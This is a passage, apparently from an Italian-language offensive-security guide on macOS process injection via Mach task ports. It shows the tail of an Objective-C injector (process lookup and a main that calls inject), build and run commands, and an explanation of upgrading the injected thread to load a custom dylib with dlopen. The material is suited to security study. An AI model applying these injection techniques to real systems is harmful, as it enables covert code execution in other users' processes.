pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</dettagli>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Per far funzionare questo su iOS è necessario il permesso dynamic-codesigning per poter rendere eseguibile una memoria scrivibile.

Iniezione di Dylib nel thread tramite porta Task

Su macOS i thread possono essere manipolati tramite Mach o utilizzando l'api posix pthread. Il thread generato nell'iniezione precedente è stato generato utilizzando l'api Mach, quindi non è conforme a posix.

È stato possibile iniettare un semplice shellcode per eseguire un comando perché non era necessario lavorare con api conformi a posix, solo con Mach. Iniezioni più complesse avrebbero bisogno che il thread sia anche conforme a posix.

Pertanto, per migliorare il thread, dovrebbe chiamare pthread_create_from_mach_thread che creerà un pthread valido. Quindi, questo nuovo pthread potrebbe chiamare dlopen per caricare una dylib dal sistema, quindi anziché scrivere nuovo shellcode per eseguire azioni diverse è possibile caricare librerie personalizzate.

Puoi trovare esempi di dylibs in (ad esempio quella che genera un log e poi puoi ascoltarlo):

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